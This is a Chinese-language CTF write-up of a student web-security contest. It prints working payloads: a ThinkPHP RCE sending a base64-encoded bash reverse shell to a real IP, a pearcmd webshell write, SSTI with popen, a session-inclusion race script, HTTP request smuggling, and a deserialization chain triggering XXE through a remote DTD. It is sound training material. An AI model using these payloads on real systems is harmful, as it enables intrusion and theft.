本文最后更新于 2026-06-07T23:53:32+08:00
总结 这应该是大一的最后一次考核赛了,对自己做的情况挺不满意的,web7道题做出了5道。可能当时有点紧张吧,有点自乱阵脚了。签到题是session文件包含,还有一道文件包含是pearcmd文件包含,天机阁是jwt认证和SSTI模板注入,RCE就是ThinkPHP的一个漏洞,但是过滤了一点东西,那个小游戏就是很简单的json格式传参,还有一道偷偷给shell的题,是Http请求走私和反序列化,但是只做出来一半,没时间了,可惜了。因为写wp的时间有点紧,写的有些草率,就打算重新整理一下,也算是复盘一下吧。
WEB Chrono Rift 开局就是一个小游戏,要求时间在60秒,得分为30(其实还没反应过来游戏就结束了
很明显的能看到游戏失败后返回的是json格式的键值对,看一下js源码
能看到是POST传参,json格式,并且有一个/api/submit路由,所以直接在这个路由下进行POST传参
然后就会有提示是在/api/flag路由下,那就直接修改,就能得到flag了
RCE 一开始就看到了ThinkPHP的页面,还是比较熟悉了
在URL中随便输入点东西就能看到完整的版本号了,题目又是RCE,所以针对性的搜索就能找到文章,里面有poc可以直接利用
参考文章:https://blog.csdn.net/qq_67473072/article/details/131696323
1 2 3 /index.php?s=captcha _method=__construct&filter[]=exec &method=get&get[]=echo %20YmFzaCAtYyAnYmFzaCAtaSAmPiAvZGV2L3RjcC8xMjAuNTUuMy4xNTcvMjMzMyAwPiYxJw==%20|%20base64%20-d%20|%20bash
过滤了很多东西,试出来exec可以用,但是无回显,需要反弹shell
先在服务器上监听一个2333端口然后再传payload,就能在自己的服务器上弹成功进行rce了
但其实也可以不用反弹shell的,因为还有一些函数没有被过滤,比如readfile()这些,也可以用来读到flag
include 这里可以看到提示说了管理工具题目又是include文件包含,就联想到pearcmd.php的文件包含
pearcmd.php是一个脚本,pear作为php的一个命令行扩展管理工具,具体原理可以去看之前写的pearcmd.php文件包含
payload
1 2 3 ?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval ($_POST [1]);?>+/var/www/html/shell.php file=pearcmd.php
参数是file,在网页目录下创建一个shell.php文件写入一句话木马
然后就是根据pear传的命令行执行,访问shell.php,利用POST传参执行RCE
payload
天机阁密令 先注册账号以user身份登录,在首页可以看到需要管理员身份,所以想到之后可能需要进行身份认证
看到这个卷宗包含台,发现是一个可以读文件的地方,读文件的话就要联想到常见的/etc/passwd,源码还有环境变量/proc/self/environ
这里就是读取环境变量在里面看到了jwt的密钥
然后抓“阁主预览台”的包,因为页面也说了user身份只能访问包含台,所以这里就可以看到Cookie处有jwt认证
利用jwt工具构造Cookie值
传参后就可以看到预览台的页面了,在这里POST传参template可以回显参数值,就猜测是SSTI模板注入,但是一开始尝试了花括号这些全被过滤了,结果页面中有提示““天下”为开,“无双”为合”,很隐晦,但是又在密令模板上写了格式(虽然一开始都没有看出来
其他的过滤的不算严,popen被过滤了可以用+拼接的方法绕过,然后就行执行rce了
payload
1 template=天下'' .__class__.__base__.__subclasses__()[142].__init__.__globals__['po' +'pen' ]('ca' +'t /flag' ).read ()无双
签到 题目直接说了是session,打开就看到是一个读文件的地方,很显然就是session文件包含,利用条件竞争读到文件
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import ioimport requestsimport threading sessid = 'exp' data = {"cmd" : "system('cat /flag');" }def write (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) resp = session.post('http://114.66.24.210:38055/include.php' , data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST["cmd"]);?>' }, files={'file' : ('test.txt' , f)}, cookies={'PHPSESSID' : sessid})def read (session ): while True : resp = session.post('http://114.66.24.210:38055/include.php?file=/tmp/sess_' + sessid, data=data) if 'test.txt' in resp.text: print (resp.text) event.clear() else : print ("[+++++++++++++]retry" )if __name__ == "__main__" : event = threading.Event() with requests.session() as session: for i in range (1 , 30 ): threading.Thread(target=write, args=(session,)).start() for i in range (1 , 30 ): threading.Thread(target=read, args=(session,)).start() event.set ()
偷偷送你个shell 上了hint,说是前端有代理需要绕过,问了ai发现是前后端认证不一致需要通HTTP请求走私来绕过
HTTP请求走私的大概原理就是前后端认证不一致,这道题目中前端是CL(Content-Length),而后端是通过TE(Transfer-Encoding),也就是说在传payload的时候,后端会自动忽略掉CL直接去验证TE,所以这个时候就可以用CL-TE的请求走私来构造payload。所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头
先在bp抓包,首先需要在设置中关闭“更新CL”,这样CL的值我们就可以自定义了
然后构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 POST / HTTP/1.1 Host : 114.66.24.210:20642Connection : keep-aliveContent-Type : application/x-www-form-urlencodedContent-Length : 59Transfer-Encoding : chunked0 GET /shell.php HTTP/1 .1 Host : 114.66.24.210:20642
因为后端不处理Content-Length: 59,但是处理Transfer-Encoding: chunked,所以将TE放入请求头中,被后端处理,因为是TE请求头,所以后端在遇到\r\n\r\n就会默认请求结束
但是这个payload完整的请求体是
1 2 3 4 5 6 7 0 GET /shell.php HTTP/1 .1 Host : 114.66.24.210:20642
但因为后端只处理TE,所以第一个请求体只会识别到
而下面的GET开始则会认为是第二个请求头,所以可以通过走私来访问到shell.php,但因为是第二次请求所以需要连续并发才能得到,因此可以将payload发送到攻击器进行连续并发就能得到shell.php的内容
shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php if (!isset ($_GET ['data' ])) { highlight_file (__FILE__ ); }echo "这都被你发现了,那flag给你了:flag{This_is_a_true_flag???}" ;error_reporting (0 );class Start { public $arg ; public function __destruct ( ) { echo $this ->arg; } }class Middle { public $target ; public function __toString ( ) { $this ->target->boom; return "" ; } }class Gate { public $a ; public $b ; public $func ; public $var ; public function __get ($name ) { if ($this ->a !== $this ->b && !is_array ($this ->a) && !is_array ($this ->b) && md5 ($this ->a) === md5 ($this ->b)) { $f = $this ->func; $v = $this ->var ; $f ($v ); } } }class Shell { public $cla ; public $data ; public $opt1 ; public $opt2 ; public function __invoke ($data ) { $this ->data = $data ; $this ->run (); } private function run ( ) { $c = $this ->cla; if (!is_string ($c ) || !is_string ($this ->data)) { return ; } try { new $c ($this ->data, $this ->opt1, $this ->opt2); } catch (Throwable $e ) { } } }include_once dirname (__DIR__ ) . "/private/waf.php" ;waf ();if (isset ($_GET ['data' ]) && is_string ($_GET ['data' ])) { @unserialize ($_GET ['data' ]); }?>
代码审计,这里是一个php反序列化
突破口应该是在shell这个类中的
1 2 3 4 5 6 7 8 9 10 private function run ( ) { $c = $this ->cla; if (!is_string ($c ) || !is_string ($this ->data)) { return ; } try { new $c ($this ->data, $this ->opt1, $this ->opt2); } catch (Throwable $e ) { } }
private function run():定义了私有方法run()
$c = $this->cla;:将$cla属性的值赋给$c
if (!is_string($c) || !is_string($this->data)) {return;}:确保$c和$this->data都是字符串
new $c($this->data, $this->opt1, $this->opt2);:使用动态实例化,也就是说我们可以用任意字符串作为类名,传入任意参数去实例化它 ,所以这里就可以调用原生类,因为测试出来过滤了很多,所以只能利用使用SimpleXMLElement打XXE,此时就相当于new SimpleXMLElement($xml_string, $options, $is_url);
catch (Throwable $e):Throwable用来捕获一切可能的错误和异常的,Exception和``Error`这两个原生类是它的子类
整个链子来看
先是在Start类中echo $this->arg;将对象当作字符串调用触发了Middle中的__toString()魔术方法
Middle中的$this->target->boom调用了一个不存在的属性,触发了Gate中的__get魔术方法
Gate中的 $f($v);将对象调用做函数,触发了shell中的__invoke方法
Shell中$this->run();直接触发了自定义的私有魔术方法,利用new $c($this->data, $this->opt1, $this->opt2);来进行构造
所以整条链子的走向还是很清晰的:__destruct——>__toString()——>__get——>__invoke——>run()
在shell类中利用原生类打XXE,还有一个要注意的就是在Gate中的if ($this->a !== $this->b && !is_array($this->a) && !is_array($this->b) && md5($this->a) === md5($this->b)) MD5弱比较可以用Error原生类绕过
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class Start { public $arg ; }class Middle { public $target ; }class Gate { public $a ; public $b ; public $func ; public $var ; }class Shell { public $cla ; public $data ; public $opt1 ; public $opt2 ; }$Shell = new Shell ();$Shell -> cla ='SimpleXMLElement' ;$Shell -> data = null ;$Shell -> opt1 = LIBXML_NOENT | LIBXML_DTDLOAD;$Shell -> opt2 = false ;$Gate = new Gate ();$Gate -> a = new Error ("123" ,"1" );$Gate -> b = new Error ("123" ,"2" );$Gate -> func = $Shell ;$Gate -> var = "<!DOCTYPE x [<!ENTITY % remote SYSTEM 'http://ip/shell.dtd'>%remote;]><x>1</x>" ;$Middle = new Middle ();$Middle -> target = $Gate ;$Start = new Start ();$Start -> arg = $Middle ;echo urlencode (serialize ($Start ));?>
这里要注意的是利用error原生类需要把两个值放在同一行写
在自己的服务器上需要把shell.dtd文件放在var/www/html目录下,然后监听一个2333端口
依旧是用bp发包
然后base64解码